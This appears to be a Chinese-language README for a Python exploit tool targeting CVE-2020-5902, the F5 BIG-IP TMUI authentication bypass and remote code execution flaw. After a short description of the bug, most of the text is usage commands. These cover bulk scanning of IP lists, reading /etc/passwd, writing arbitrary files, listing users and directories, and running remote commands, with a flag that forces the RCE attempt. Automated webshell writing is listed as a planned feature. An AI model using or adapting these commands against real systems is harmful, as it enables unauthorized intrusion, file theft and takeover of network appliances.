20200706，网上曝出F5 BIG-IP TMUI RCE漏洞。
F5 BIG-IP的TMUI组件（流量管理用户界面）存在认证绕过漏洞，该漏洞在于Tomcat解析的URL与request.getPathInfo()存在差异，导致可绕过权限验证，未授权访问TMUI模块所有功能，进而可以读取/写入任意文件，命令执行等。
详情参考F5 BIG-IP TMUI RCE漏洞（CVE-2020-5902）重现及注意点
本工具支持单IP检测，批量IP检测，可进行文件读写，列认证用户，列目录，远程命令执行和hsqldb认证绕过检测
pip install requests
python f5-bigip-rce-cve-2020-5902.py -h
python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --check
python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --check -t 20 -s 10
python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --fileread "/etc/passwd"
python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --filepath "/tmp/xxx.txt" --filecontent "x"
python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --list-users
python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --listdir "/tmp/"
python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --rce id --still-exploit
python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --rce whoami --still-exploit -s 15 -t 20
python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --bypass-hsqldb
python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --bypass-hsqldb
批量的IP尽量在开头加上http://或https://，如果没有协议，会默认加上http://
条件允许的情况下建议加上--still-exploit参数，即使list auth user失败也进行rce，增加成功率。
多次发请求增加批量成功率，需要权衡效率问题
集成hsqldb接口反序列化利用
增加自动化写webshell
issus
lsablog
gmail：[email protected]
qq：[email protected]
